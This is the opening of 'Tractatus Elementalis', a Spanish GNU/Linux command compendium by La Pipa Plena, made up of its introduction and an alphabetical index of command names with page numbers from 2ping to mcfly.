

# TRACTATUS ELEMENTALIS

*El Tractatus es un compendio de apuntes, expuestos por orden alfabético, recopilado por los actores (y en menor proporción autores) a lo largo de estos años fruto de muchísimas charlas, veladas y noches de insomnio navegando por la red de redes en busca de utilidades, comandos, curiosidades, trucos, perlas y soluciones brillantes con los que derribar los penúltimos muros con los que cualquier usuario GNU/Linux pueda encontrarse a lo largo de su inmersión en este apasionante y maravilloso mundo.*

La Pipa Plena

<https://lapipaplena.wordpress.com>

27 de abril de 2024

Versión: b'8118b03dd15b832e31b0d68350aec66a984db6fc'

<http://staredsi.eu/wiki>

---

## Lista de comandos

---

<b>0123456789#</b>	<b>1</b>
2ping . . . . .	1
4g8 . . . . .	1
7zip . . . . .	1
9base . . . . .	2
9menu . . . . .	2
 <b>A</b>	 <b>3</b>
a2dismod . . . . .	3
a2dssite . . . . .	3
a2enmod . . . . .	3
a2ensite . . . . .	3
a2mp3 . . . . .	3
a2png . . . . .	3
a2ps . . . . .	4
a2x . . . . .	4
aa3d . . . . .	4
aafire . . . . .	4
aajm . . . . .	5
aaphoto . . . . .	5
ab . . . . .	5
abcde . . . . .	5
abiword . . . . .	6
abook . . . . .	6
abs-guide . . . . .	6
abw2epub . . . . .	6
abw2odt . . . . .	6
ac . . . . .	6
acct . . . . .	7
accton . . . . .	7
achilles . . . . .	7
ack . . . . .	7
aclock . . . . .	8
aconnect . . . . .	8
acpi . . . . .	8
acpitail . . . . .	9
add-apt-repository . . . . .	9
addgnupghome . . . . .	9
add-shell . . . . .	9
adduser.conf . . . . .	9
adequate . . . . .	10
adminer . . . . .	10
aewan . . . . .	10
age . . . . .	10
agedu . . . . .	11

---

agetty . . . . .	11
aha . . . . .	11
aide . . . . .	11
airmon . . . . .	12
airodump . . . . .	12
ajaxplorer . . . . .	12
ajaxterm . . . . .	12
akregator . . . . .	13
alacritty . . . . .	13
alarm-clock-applet . . . . .	13
album . . . . .	13
alias . . . . .	14
alien . . . . .	14
alpine . . . . .	15
alsa-info . . . . .	15
alsabat . . . . .	15
alsabat-test . . . . .	15
alsactl . . . . .	15
alsaloop . . . . .	16
alsamixer . . . . .	16
alsaucm . . . . .	16
altavoz . . . . .	16
amidi . . . . .	16
amixer . . . . .	17
an . . . . .	17
anacron . . . . .	17
analog . . . . .	18
anarchism . . . . .	18
anamnesis . . . . .	18
and . . . . .	19
anillo de claves . . . . .	19
animate . . . . .	19
anon-proxy . . . . .	19
ansi2html . . . . .	19
ansi2txt . . . . .	19
ansiweather . . . . .	19
antiword . . . . .	20
anytopnm . . . . .	20
aoss . . . . .	20
apache2 . . . . .	21
apache2ctl . . . . .	24
apachetop . . . . .	24
apariencia . . . . .	24
apertium . . . . .	24
apf . . . . .	24
apg . . . . .	25
aplay . . . . .	25
aplaymidi . . . . .	25
apparix . . . . .	26
apparmor . . . . .	26
apport . . . . .	26
appres . . . . .	27
apropos . . . . .	27
apt . . . . .	27
apt-cdrom . . . . .	28
apt-cache . . . . .	28
apt-clone . . . . .	28
apt-config . . . . .	28
apt-doc . . . . .	28
apt-extracttemplates . . . . .	29
apt-fast . . . . .	29

---

apt-file . . . . .	29
apt-ftpparchive . . . . .	29
apt-get . . . . .	29
apt-key . . . . .	33
apt-listbugs . . . . .	33
apt-listchanges . . . . .	33
apt-listdifferences . . . . .	33
apt-mark . . . . .	33
apt-mirror . . . . .	34
apt-show-source . . . . .	34
apt-show-versions . . . . .	34
apt-sortpkgs . . . . .	35
ar . . . . .	35
arch . . . . .	35
arch-test . . . . .	35
archalien . . . . .	35
arecord . . . . .	35
arecordmidi . . . . .	36
argus . . . . .	36
arithmetic . . . . .	36
arj . . . . .	36
arm . . . . .	36
arp . . . . .	37
arp-fingerprint . . . . .	37
arp-scan . . . . .	37
arpalert . . . . .	37
arping . . . . .	38
arpon . . . . .	38
arptables . . . . .	38
arpwatch . . . . .	39
arrays . . . . .	39
ascii . . . . .	40
asciidoc . . . . .	40
ascii-image-converter . . . . .	40
asciinema . . . . .	41
asciiview . . . . .	41
aseqdump . . . . .	41
asoundconf . . . . .	41
aspell . . . . .	41
at . . . . .	42
aterm . . . . .	42
atop . . . . .	42
atopsar . . . . .	42
auditd . . . . .	43
aumix . . . . .	43
aurvote . . . . .	43
auth2db . . . . .	44
autofs . . . . .	44
autojump . . . . .	44
autolog . . . . .	44
automater . . . . .	45
automysqlbackup . . . . .	45
autopostgresqlbackup . . . . .	45
autorandr . . . . .	45
autossh . . . . .	45
autostart . . . . .	46
autosuspend . . . . .	46
autotrace . . . . .	46
autotrash . . . . .	46
avahi-browse . . . . .	47
avconv . . . . .	47

avg . . . . .	47
aview . . . . .	47
avimerge . . . . .	48
awk . . . . .	48
awstats . . . . .	51
axel . . . . .	52

## **B 53**

b2sum . . . . .	53
backup-manager . . . . .	53
badblocks . . . . .	53
bandwidthd . . . . .	54
banner . . . . .	54
bar . . . . .	54
base64 . . . . .	54
base-files . . . . .	55
basename . . . . .	55
basenc . . . . .	55
bash . . . . .	55
bash-doc . . . . .	55
bashbug . . . . .	56
bashburn . . . . .	56
bashdb . . . . .	56
bashish . . . . .	56
bashrc . . . . .	56
bashtop . . . . .	57
bastet . . . . .	57
batcat . . . . .	57
bats . . . . .	58
bb . . . . .	58
bb.sh . . . . .	58
bbcode . . . . .	59
bbpager . . . . .	59
bbrun . . . . .	59
bc . . . . .	59
bcd . . . . .	59
bd . . . . .	59
bchunk . . . . .	60
beep . . . . .	60
bg . . . . .	61
biew . . . . .	61
big-cursor . . . . .	61
bin2iso . . . . .	61
binclock . . . . .	61
bind . . . . .	61
bindechexascii . . . . .	62
bing-ip2hosts . . . . .	62
binstats . . . . .	62
binutils . . . . .	63
biosdecode . . . . .	63
bitmap . . . . .	63
bld . . . . .	63
blkid . . . . .	64
blockfinder . . . . .	64
bluez . . . . .	64
bmon . . . . .	65
boinc . . . . .	66
bookman . . . . .	66
bootchart . . . . .	66
bootinfoscript . . . . .	66
bootlogd . . . . .	66

bottom . . . . .	66
boxes . . . . .	67
bozocrack . . . . .	67
bpytop . . . . .	67
brew . . . . .	67
brillo . . . . .	68
bro . . . . .	68
bropages . . . . .	68
bsd-from . . . . .	68
bsdgames . . . . .	69
bsdmainutils . . . . .	69
btop . . . . .	69
btsscanner . . . . .	69
btsync . . . . .	69
builtin . . . . .	70
buku . . . . .	70
bundlewrap . . . . .	71
bunzip2 . . . . .	71
burnp6 . . . . .	71
burpsuite . . . . .	71
busctl . . . . .	71
bustle-pcap . . . . .	72
busybox . . . . .	72
bwm-ng . . . . .	72
byobu . . . . .	72
byzanz . . . . .	72
bzcat . . . . .	73
bzcmp . . . . .	73
bzdiff . . . . .	73
bzexe . . . . .	73
bzgrep . . . . .	73
bzip2 . . . . .	73
bzip2recover . . . . .	73
bzless . . . . .	74
bzmore . . . . .	74
bzz . . . . .	74

## C

<b>C</b>	<b>75</b>
cabextract . . . . .	75
cacaclock . . . . .	75
cacademo . . . . .	75
cacafire . . . . .	75
cacaserver . . . . .	75
cacaview . . . . .	75
cache . . . . .	76
cacti . . . . .	76
cadaver . . . . .	76
cado . . . . .	77
cadubi . . . . .	77
cal . . . . .	77
calc . . . . .	78
calcurse . . . . .	78
calendar . . . . .	78
calife . . . . .	78
cancel . . . . .	78
cansina . . . . .	78
canto . . . . .	79
capsh . . . . .	79
capstans . . . . .	79
caracteres-especiales . . . . .	79
caracteres-unicode . . . . .	80

---

cardctl . . . . .	80
cargo . . . . .	80
case . . . . .	80
cat . . . . .	81
cating . . . . .	82
cb- . . . . .	82
cbm . . . . .	83
cbonsai . . . . .	83
ccal . . . . .	83
ccat . . . . .	83
ccd2iso . . . . .	84
ccdiff . . . . .	84
ccrypt . . . . .	84
ccze . . . . .	84
cd . . . . .	85
cdargs . . . . .	85
cdclose . . . . .	85
cdda2wav . . . . .	85
cd-drive . . . . .	86
cdeject . . . . .	86
cdinfo . . . . .	86
cdir . . . . .	86
cdparanoia . . . . .	86
cdrdao . . . . .	86
cdrecord . . . . .	87
cert-sync . . . . .	87
certtool . . . . .	87
cewl . . . . .	87
cfiles . . . . .	88
cftp . . . . .	88
chacl . . . . .	88
chafa . . . . .	88
chage . . . . .	88
challow . . . . .	89
changetrack . . . . .	89
chardet . . . . .	89
chattr . . . . .	89
chdir . . . . .	89
cheat . . . . .	90
checkbashisms . . . . .	90
check-bios-nx . . . . .	90
checkbot . . . . .	90
check-enhancements . . . . .	90
check_forensic . . . . .	91
checkgid . . . . .	91
checkint . . . . .	91
check-language-support . . . . .	91
checklink . . . . .	91
checklistlinux . . . . .	91
checkrestart . . . . .	92
checksec . . . . .	92
checksecurity . . . . .	92
check-support-status . . . . .	92
checkupdates . . . . .	93
cherokee . . . . .	93
chflags . . . . .	93
chfn . . . . .	93
chgrp . . . . .	93
chkboot . . . . .	94
chkconfig . . . . .	94
chkdupexe . . . . .	94

---

chklastlog . . . . .	94
chkrootkit . . . . .	95
chkservice . . . . .	95
chkwtmp . . . . .	95
chmod . . . . .	95
chntpw . . . . .	96
choose . . . . .	96
chown . . . . .	97
chpasswd . . . . .	97
chromium . . . . .	97
chronic . . . . .	98
chrony . . . . .	98
chroot . . . . .	98
chsh . . . . .	99
chvt . . . . .	99
cifsiostat . . . . .	99
cjb2 . . . . .	99
cjpeg . . . . .	99
ck-history . . . . .	99
ck-list-sessions . . . . .	99
cksum . . . . .	100
clamav . . . . .	100
clamscan . . . . .	100
clear . . . . .	101
clear_console . . . . .	101
clex . . . . .	101
clinfo . . . . .	101
clive . . . . .	101
cloc . . . . .	101
colores . . . . .	102
cmake . . . . .	102
cmatrix . . . . .	102
cmospwd . . . . .	103
cmp . . . . .	103
cmus . . . . .	103
cnetworkmanager . . . . .	104
codificación . . . . .	104
col . . . . .	104
collected . . . . .	104
colordiff . . . . .	104
colordiff-git . . . . .	105
colored_dmesg . . . . .	105
colorized-logs . . . . .	105
colormake . . . . .	105
colormgr . . . . .	105
colortest . . . . .	105
colortest-python . . . . .	105
colrm . . . . .	106
column . . . . .	106
combine . . . . .	106
comillas . . . . .	106
comm . . . . .	106
command . . . . .	107
command-not-found . . . . .	107
comodines . . . . .	107
comparepdf . . . . .	107
compgen . . . . .	107
compilar . . . . .	108
compiz . . . . .	108
composite . . . . .	108
compress . . . . .	109



---

compton . . . . .	109
concalc . . . . .	109
conky . . . . .	110
connmanctl . . . . .	110
conntrack . . . . .	110
conntrackd . . . . .	110
consolation . . . . .	111
consolochars . . . . .	111
conspy . . . . .	111
continue . . . . .	111
contraseñas . . . . .	112
control- . . . . .	113
convert . . . . .	113
cool-retro-term . . . . .	114
coproc . . . . .	114
copy . . . . .	114
copyright-update . . . . .	115
corelist . . . . .	115
cowpatty . . . . .	115
cowsay . . . . .	115
cowsay-off . . . . .	115
cowthink . . . . .	116
cp . . . . .	116
cpaldjvu . . . . .	116
cpio . . . . .	116
cpipe . . . . .	117
cplay-ng . . . . .	117
cpu . . . . .	117
cpufreq-info . . . . .	117
cpufreq-selector . . . . .	117
cpufreq-set . . . . .	117
cpuid . . . . .	118
cpulimit . . . . .	118
cpustat . . . . .	118
cputool . . . . .	118
crack . . . . .	118
cracklib . . . . .	119
crashme . . . . .	119
create-cracklib-dict . . . . .	119
cron-apt . . . . .	119
cronic . . . . .	120
crontab . . . . .	120
cruft . . . . .	121
crunch . . . . .	121
cryfs . . . . .	121
cryptmount . . . . .	122
cryptsetup . . . . .	122
csplit . . . . .	122
csscapture . . . . .	123
cupp . . . . .	123
cups . . . . .	123
cupsaccept . . . . .	124
cupsdisable . . . . .	124
cupsenable . . . . .	124
cupsreject . . . . .	124
curl . . . . .	124
curlftpfs . . . . .	126
cut . . . . .	126
cutter . . . . .	127
cutycapt . . . . .	127
cvlc . . . . .	127

cwcp . . . . .	127
cycle . . . . .	127

## D 128

dansguardian . . . . .	128
daptup . . . . .	128
dares . . . . .	129
darkhttpd . . . . .	129
darkstat . . . . .	129
date . . . . .	129
datefudge . . . . .	130
dateutils . . . . .	130
dav . . . . .	130
davpass . . . . .	130
dbmmanage . . . . .	131
dbus-test-runner . . . . .	131
dc . . . . .	131
dconf . . . . .	131
dcfdd . . . . .	131
dd . . . . .	132
ddate . . . . .	132
ddccontrol . . . . .	133
ddclient . . . . .	133
ddcutil . . . . .	133
ddgr . . . . .	133
ddrescue . . . . .	134
ddupdate . . . . .	134
deallocvt . . . . .	134
deb . . . . .	135
debcheckout . . . . .	136
debconf . . . . .	137
debdate . . . . .	137
debfoister . . . . .	137
debget . . . . .	138
debian-faq . . . . .	138
debian-goodies . . . . .	138
debian-history . . . . .	138
debian-info . . . . .	138
debian-reference . . . . .	138
debian-timeline . . . . .	139
debianutils . . . . .	139
debootstrap . . . . .	139
deborphan . . . . .	139
debsecan . . . . .	140
debsums . . . . .	140
debtree . . . . .	140
debugfs . . . . .	140
declare . . . . .	141
decode-dimms . . . . .	141
deepin-terminal . . . . .	141
defaults . . . . .	141
defmt-sh . . . . .	142
delgroup . . . . .	142
delpart . . . . .	142
deluser . . . . .	142
delv . . . . .	142
denyhosts . . . . .	143
depmod . . . . .	143
descriptor . . . . .	143
desktop-file-utils . . . . .	143
desktop-file-validate . . . . .	143

---

desproxy . . . . .	144
detex . . . . .	144
deurlname . . . . .	144
devilsPie . . . . .	144
dex . . . . .	144
df . . . . .	145
dglob . . . . .	145
dgrep . . . . .	145
dhclient . . . . .	145
dhcpcd . . . . .	145
dhcping . . . . .	145
dhhelp . . . . .	146
dhomepage . . . . .	146
di . . . . .	146
dialog . . . . .	146
diceware . . . . .	148
dict . . . . .	148
didiwiki . . . . .	148
diff . . . . .	149
diffimg . . . . .	149
diffmon . . . . .	149
diffoscope . . . . .	149
diffpdf . . . . .	149
dig . . . . .	150
digup . . . . .	150
ding . . . . .	150
dir . . . . .	151
dircolors . . . . .	151
directorylister . . . . .	151
dirhunt . . . . .	151
dirname . . . . .	152
dirs . . . . .	152
discover . . . . .	152
discus . . . . .	152
disktype . . . . .	152
disown . . . . .	152
display . . . . .	153
distro-info . . . . .	153
ditaa . . . . .	154
ditto . . . . .	154
djvm . . . . .	154
djvudump . . . . .	154
djvusmooth . . . . .	154
dlint . . . . .	155
dmesg . . . . .	155
dmidecode . . . . .	155
dmrc . . . . .	156
dnf . . . . .	156
dns . . . . .	157
dnscrypt . . . . .	157
dnsdiag . . . . .	157
dnsdomainname . . . . .	158
dnsenum . . . . .	158
dnseval . . . . .	158
dnsmap . . . . .	158
dnsmasq . . . . .	158
dnsping . . . . .	159
dnstop . . . . .	159
dnstracer . . . . .	159
dnstraceroute . . . . .	160
doc-debian . . . . .	160

dochelp . . . . .	160
dog . . . . .	160
dontzap . . . . .	160
do-release-upgrade . . . . .	160
doas . . . . .	161
dos2unix . . . . .	161
doscan . . . . .	161
dosfsck . . . . .	161
dot . . . . .	161
downgrade . . . . .	162
downtimed . . . . .	162
dpigs . . . . .	163
dpkg . . . . .	163
dpkg-depcheck . . . . .	165
dpkg-divert . . . . .	166
dpkg-query . . . . .	166
driftnet . . . . .	166
driverless . . . . .	166
droopy . . . . .	166
dropbox . . . . .	166
droppy . . . . .	167
dselect . . . . .	168
dstat . . . . .	168
dte . . . . .	168
dtrx . . . . .	168
du . . . . .	168
duc . . . . .	169
duck . . . . .	169
duckduckgo . . . . .	169
duf . . . . .	170
duff . . . . .	170
dump . . . . .	170
dump-acct . . . . .	170
dumpe2fs . . . . .	170
dump.exfat . . . . .	171
dumpkeys . . . . .	171
dumppdf . . . . .	171
duplicity . . . . .	171
durep . . . . .	171
dust . . . . .	172
dutree . . . . .	172
dvdauthor . . . . .	172
dvdbackup . . . . .	172
dvd+rw-format . . . . .	172
dvgrab . . . . .	173
dvtm . . . . .	173
dwb . . . . .	173
dwww . . . . .	174
dzdo . . . . .	174
dzegrep . . . . .	174
dzfgrep . . . . .	174
dzgrep . . . . .	174

## **E 175**

e2fsck . . . . .	175
e2fsprogs . . . . .	175
e2image . . . . .	175
e2label . . . . .	175
e2undo . . . . .	176
e3 . . . . .	176
e4defrag . . . . .	176

---

ebook-	176
echo	176
ecryptfs	177
ebb	178
ed	178
efibootmgr	178
egrep	179
eject	179
electricssheep	179
elinks	180
emacs	180
emacs25-common-non-dfsg	194
emerge	194
emms	195
emms-print-metadata	195
empty	195
enable	196
encfs	196
enchant-2	196
enchant-lsmod-2	197
enscript	197
env	197
envsubst	197
epylog	198
equivs-build	198
epubcheck	198
errno	198
es2_info	198
escputil	199
esetroot	199
espeak	199
et	199
eterm	200
etherwake	200
ethstats	200
ethstatus	200
ethtool	200
ethumb	201
ettercap	201
eval	202
evillimiter	203
evince	203
evince-previewer	203
exa	204
exec	204
exif	204
exifautotran	205
exiftags	205
exiftool	205
exim	205
exit	206
exo-open	206
expand	206
expiry	206
expect	207
export	207
expr	207
expresiones-regulares	208
ext4magic	210
extundelete	210
eza	210

<b>F</b>	<b>211</b>
f3 . . . . .	211
facter . . . . .	211
factor . . . . .	211
fail2ban . . . . .	212
faillock . . . . .	213
faillog . . . . .	213
faked-tcp . . . . .	214
fakeroot . . . . .	214
false . . . . .	214
falselogin . . . . .	214
fallocate . . . . .	214
fatattr . . . . .	214
fatlabel . . . . .	215
fbcmd . . . . .	215
fbgrab . . . . .	216
fbgs . . . . .	216
fbi . . . . .	216
fbset . . . . .	216
fbsetbg . . . . .	216
fbterm . . . . .	217
fbtv . . . . .	217
fbv . . . . .	217
fc . . . . .	217
fc-cache . . . . .	217
fchdir . . . . .	218
fc-list . . . . .	218
fcgistarter . . . . .	218
fcrackzip . . . . .	218
fd . . . . .	218
fdfind . . . . .	219
fdformat . . . . .	219
fdisk . . . . .	219
fdupes . . . . .	219
feh . . . . .	220
ferm . . . . .	220
fernapp . . . . .	221
festival . . . . .	221
fetch . . . . .	221
fex . . . . .	221
fff . . . . .	222
ffmpeg . . . . .	222
fg . . . . .	224
fgconsole . . . . .	224
fgrep . . . . .	224
figlet . . . . .	224
figlist . . . . .	224
file . . . . .	225
file2brl . . . . .	225
filefrag . . . . .	225
fileschanged . . . . .	225
filetraq . . . . .	225
filters . . . . .	225
fim . . . . .	226
finch . . . . .	226
fincore . . . . .	226
find . . . . .	227
finddup . . . . .	228
findfs . . . . .	228
findmnt . . . . .	229
findmyhash . . . . .	229

findsmb . . . . .	229
fing . . . . .	229
finger . . . . .	229
finit . . . . .	229
firebuild . . . . .	230
firefox . . . . .	230
firehol . . . . .	234
firejail . . . . .	236
firewalld . . . . .	236
firewall-tests . . . . .	237
fish . . . . .	237
fixfiles . . . . .	237
fixparts . . . . .	238
fkil . . . . .	238
flatpak . . . . .	238
flexget . . . . .	239
flunym0us . . . . .	239
fluxbox-generate_menu . . . . .	239
flvstreamer . . . . .	240
fnt . . . . .	240
fnotifystat . . . . .	240
fnt . . . . .	240
fntsample . . . . .	241
fold . . . . .	241
fonts-roadgeek . . . . .	241
for . . . . .	241
foremost . . . . .	242
forensics-extra . . . . .	242
forkstat . . . . .	243
fortune . . . . .	243
fortune-anarchism . . . . .	243
fping . . . . .	243
free . . . . .	243
freeradius . . . . .	244
freshclam . . . . .	244
fsarchiver . . . . .	244
fsck . . . . .	245
fspy . . . . .	245
fstab . . . . .	245
fswebcam . . . . .	246
fte . . . . .	246
ftff . . . . .	246
ftp . . . . .	247
funcoeszz . . . . .	247
funzip . . . . .	248
fuser . . . . .	248
fusermount . . . . .	248
fwlogwatch . . . . .	248
fwsnort . . . . .	249
fwupd-test . . . . .	249
fzf . . . . .	249

## **G 250**

gawkbug . . . . .	250
gawk-doc . . . . .	250
gcalccmd . . . . .	250
gcalctool . . . . .	250
gcc . . . . .	250
gconftool-2 . . . . .	251
gcp . . . . .	252
gdb . . . . .	252

---

gdebi . . . . .	252
gdisk . . . . .	253
gdm . . . . .	253
gedit . . . . .	254
gelemental . . . . .	254
gem . . . . .	254
gemsets . . . . .	255
genius . . . . .	255
geoiplookup . . . . .	255
geoipupdate . . . . .	255
geolooc . . . . .	255
get-iab . . . . .	255
getkeycodes . . . . .	256
get-oui . . . . .	256
getcap . . . . .	256
getconf . . . . .	256
getenforce . . . . .	256
getent . . . . .	257
getfacl . . . . .	257
gethostip . . . . .	257
getopt . . . . .	257
getpcaps . . . . .	257
getsebool . . . . .	258
gflags2man . . . . .	258
gftp . . . . .	258
gftp-text . . . . .	259
ghostscript . . . . .	259
gimp . . . . .	259
git . . . . .	259
git-doc . . . . .	261
git-shell . . . . .	261
gksu . . . . .	261
glances . . . . .	261
glimpse . . . . .	262
glxinfo . . . . .	262
gmail . . . . .	262
gmount . . . . .	263
gmrn . . . . .	263
gnome . . . . .	263
gnome-keyring . . . . .	265
gnome-screensaver-command . . . . .	265
gnome-screenshot . . . . .	265
gnome-terminal . . . . .	265
gnuplot . . . . .	266
gnutls-cli-debug . . . . .	267
go2 . . . . .	267
goaccess . . . . .	267
gobrowser . . . . .	267
gocr . . . . .	268
gocryptfs . . . . .	268
goldeneye . . . . .	268
golismo . . . . .	269
goobook . . . . .	269
google . . . . .	269
googler . . . . .	271
goto . . . . .	271
gpart . . . . .	271
gpasswd . . . . .	271
gperiodic . . . . .	272
gpe-taskmanager . . . . .	272
gpg . . . . .	272



gpgconf	272
gping	273
gpm	273
gpw	273
grabc	273
graphviz	273
grc	274
grep	274
grive	275
groupadd	275
groupdel	275
groupmod	275
groups	275
growisofs	275
grpck	276
grub	276
grub2	276
grub-mkconfig	279
grub-mkpasswd-pbkdf2	280
grun	280
gs	280
gsettings	280
gt5	281
gthd	281
gtop	281
gtypist	282
guake	282
guake-indicator	282
guake-toggle	282
gucharmap	282
gunzip	282
guessnet	283
gv	283
gxmessage	283
gzexe	284
gzip	284

## **H 285**

hachoir-metadata	285
hal-device	285
halt	285
hardlink	285
haroopad	286
hasciicam	286
hash	286
hash-identifier	286
hashalot	287
hashid	287
hashtag	287
hciconfig	287
hcitool	288
hddtemp	288
hdparm	288
head	289
health-check	289
hegemon	289
hello	289
help	289
help2man	290
helpztags	290
heroku	290

hexdump . . . . .	290
hg . . . . .	291
hidd . . . . .	291
hipstopgm . . . . .	292
hishrink . . . . .	292
history . . . . .	292
histretch . . . . .	292
hodie . . . . .	292
holes . . . . .	293
hollywood . . . . .	293
honeyproxy . . . . .	293
host . . . . .	293
host.conf . . . . .	294
hostid . . . . .	294
hostname . . . . .	294
hostnamectl . . . . .	295
hosts . . . . .	295
hostsed . . . . .	295
hp-check . . . . .	296
hp-doctor . . . . .	296
hp-info . . . . .	296
hp-levels . . . . .	296
hplip . . . . .	296
hp-scan . . . . .	296
hping . . . . .	297
hsetroot . . . . .	297
hstr . . . . .	297
htcacheclean . . . . .	298
htdbm . . . . .	298
html . . . . .	298
html2text . . . . .	299
htop . . . . .	299
htpasswd . . . . .	299
httpd . . . . .	299
httping . . . . .	299
httrack . . . . .	300
hunspell . . . . .	300
hwb . . . . .	300
hwclock . . . . .	300
howdoi . . . . .	300
hwinfo . . . . .	301
hwloc-gather-topology . . . . .	301
hwloc-info . . . . .	301
hwloc-ls . . . . .	301
hwloc-ps . . . . .	302
hxttools . . . . .	302
hydra . . . . .	303

## I 304

i2p . . . . .	304
i7z . . . . .	304
iat . . . . .	304
ibam . . . . .	304
ibmonitor . . . . .	304
ibus . . . . .	305
icdiff . . . . .	305
iceauth . . . . .	305
ico . . . . .	305
iconv . . . . .	306
icp . . . . .	306
icuinfo . . . . .	306

---

id . . . . .	306
identify . . . . .	306
idesk . . . . .	307
iecsset . . . . .	307
if . . . . .	307
ifconfig . . . . .	309
ifdata . . . . .	309
ifdown . . . . .	309
ifmetric . . . . .	310
ifnames . . . . .	310
ifne . . . . .	310
ifplugd . . . . .	310
ifplugstatus . . . . .	310
ifquery . . . . .	310
ifrename . . . . .	311
ifs . . . . .	311
ifstat . . . . .	311
iftop . . . . .	311
ifup . . . . .	312
imageindex . . . . .	312
imagemagick . . . . .	312
img2txt . . . . .	312
import . . . . .	313
impressive . . . . .	313
imsniff . . . . .	314
imv . . . . .	314
inadyn . . . . .	314
incron . . . . .	315
inetutils-traceroute . . . . .	315
info . . . . .	316
init . . . . .	316
initramfs . . . . .	316
inittab . . . . .	316
innotop . . . . .	317
inputrc . . . . .	317
insmod . . . . .	318
install-mbr . . . . .	318
installkernel . . . . .	318
instmodsh . . . . .	318
integrit . . . . .	318
interfaces . . . . .	319
inxi . . . . .	320
ionice . . . . .	320
ioping . . . . .	320
iostat . . . . .	321
iotop . . . . .	321
iozone . . . . .	321
ip . . . . .	322
ip2host . . . . .	322
ip-ajustes . . . . .	323
ipband . . . . .	323
ipcalc . . . . .	323
ipcrm . . . . .	323
ipcs . . . . .	324
iperf . . . . .	324
ipgeolocation . . . . .	325
ipmitool . . . . .	325
ippfind . . . . .	326
ipptool . . . . .	326
ips . . . . .	326
ipscan . . . . .	326

iptables . . . . .	326
iptables-persistent . . . . .	327
iptotal . . . . .	328
iptraf . . . . .	328
ipwatchd . . . . .	328
irb . . . . .	328
irpas . . . . .	329
irssi . . . . .	329
ischroot . . . . .	330
iso_8859-1 . . . . .	331
isoinfo . . . . .	331
isoquery . . . . .	331
isosize . . . . .	331
ispell-autobuildhash . . . . .	331
issue.net . . . . .	331
isympy . . . . .	331
isutf8 . . . . .	332
itop . . . . .	332
ivstools . . . . .	332
iwconfig . . . . .	332
iwlist . . . . .	333

## **J 334**

jargon . . . . .	334
java . . . . .	334
jekyll . . . . .	334
jhead . . . . .	334
jnettop . . . . .	335
jobs . . . . .	335
joe . . . . .	335
john . . . . .	336
join . . . . .	337
joomla . . . . .	337
jot . . . . .	337
journalctl . . . . .	338
jp2a . . . . .	338
jpeginfo . . . . .	339
jpegjudge . . . . .	339
jpegoptim . . . . .	339
jpegtran . . . . .	339
jumanji . . . . .	340

## **K 341**

katoolin . . . . .	341
kbdrate . . . . .	341
kernel . . . . .	341
kernel-install . . . . .	342
kerntop . . . . .	343
kesty-whatsapp . . . . .	343
keyctl . . . . .	343
kickpass . . . . .	343
kickthemout . . . . .	344
kill . . . . .	344
killall . . . . .	345
kippo . . . . .	345
kismet . . . . .	345
kithack . . . . .	346
kitty . . . . .	346
kmod . . . . .	346
knockd . . . . .	347
knocker . . . . .	348

komichi . . . . .	348
kvm-ok . . . . .	349
kwin . . . . .	349

## **L 350**

lame . . . . .	350
laptop-detect . . . . .	350
last . . . . .	350
lastb . . . . .	351
lastcomm . . . . .	351
lastlog . . . . .	351
latex . . . . .	351
latex2html . . . . .	352
lazygal . . . . .	352
lckdo . . . . .	353
ld-linux . . . . .	353
ldconfig . . . . .	353
ldd . . . . .	353
leafpad . . . . .	353
less . . . . .	354
lessfile . . . . .	354
lesspipe . . . . .	354
let . . . . .	355
lf . . . . .	355
lfm . . . . .	355
lftp . . . . .	355
lha . . . . .	356
libaa-bin . . . . .	356
libcap-ng-utils . . . . .	357
libnetcfg . . . . .	357
libpam-tmpdir . . . . .	357
libreoffice . . . . .	357
libwacom-list-local-devices . . . . .	358
liferea . . . . .	358
lightdm . . . . .	358
light-locker-command . . . . .	359
lilo . . . . .	359
lilypond-doc-html-es . . . . .	360
lilyterm . . . . .	360
line . . . . .	360
link . . . . .	360
links2 . . . . .	361
lintian . . . . .	361
linux-boot-prober . . . . .	361
linux-check-removal . . . . .	361
linux-update-symlinks . . . . .	361
linuxinfo . . . . .	362
linuxlogo . . . . .	362
linux-version . . . . .	362
liquidprompt . . . . .	362
listres . . . . .	362
listserialportsc . . . . .	363
lmbench . . . . .	363
ln . . . . .	363
lnav . . . . .	363
lnstat . . . . .	364
lo . . . . .	364
loadkeys . . . . .	364
locale . . . . .	364
localectl . . . . .	365
locale-gen . . . . .	365

---

localepurge . . . . .	365
locate . . . . .	366
location . . . . .	366
lockout . . . . .	366
logcheck . . . . .	366
loggedfs . . . . .	367
logger . . . . .	367
login . . . . .	367
loginctl . . . . .	367
logkeys . . . . .	368
logname . . . . .	368
logout . . . . .	368
logresolve . . . . .	368
logrotate . . . . .	368
logsave . . . . .	369
logstalga . . . . .	369
logtool . . . . .	369
logtop . . . . .	369
logwatch . . . . .	369
lolcat . . . . .	370
look . . . . .	370
lookatme . . . . .	370
lorem . . . . .	371
losetup . . . . .	371
lost+found . . . . .	371
lp . . . . .	371
lpadmin . . . . .	373
lpinfo . . . . .	373
lpoptions . . . . .	373
lpstat . . . . .	373
lr . . . . .	373
ls . . . . .	374
lsat . . . . .	375
lsattr . . . . .	375
lsblk . . . . .	375
lsb_release . . . . .	375
lscpu . . . . .	375
lsd . . . . .	375
lsdev . . . . .	376
lshal . . . . .	376
lshell . . . . .	376
lshw . . . . .	377
lsipc . . . . .	377
lsirq . . . . .	377
lslogins . . . . .	377
lsmod . . . . .	377
lsmount . . . . .	377
lsns . . . . .	377
lsof . . . . .	378
lspci . . . . .	379
lspcmci . . . . .	379
lspgpot . . . . .	379
lspower . . . . .	379
lsscsi . . . . .	379
lsusb . . . . .	379
luakit . . . . .	380
luit . . . . .	381
lxde . . . . .	382
lxlock . . . . .	383
lxpanelctl . . . . .	384
lynis . . . . .	384

lynx . . . . .	384
lz4 . . . . .	385
lzip . . . . .	385
lzma . . . . .	385

## M 386

macchanger . . . . .	386
magicrescue . . . . .	386
mail . . . . .	386
mailutil . . . . .	387
mailx . . . . .	387
maim . . . . .	387
maint-guide . . . . .	388
makeinfo . . . . .	388
makepasswd . . . . .	388
makepkg . . . . .	388
maldet . . . . .	388
man . . . . .	389
man2html . . . . .	389
man2web . . . . .	390
manpage-alert . . . . .	390
manpages-es . . . . .	390
manpath . . . . .	390
manswitch . . . . .	390
mapscii . . . . .	390
markdown . . . . .	391
masscan . . . . .	391
match_parens . . . . .	391
mate-screensaver-command . . . . .	392
maybe . . . . .	392
mbmon . . . . .	392
mbw . . . . .	392
mc . . . . .	393
mcfly . . . . .	394
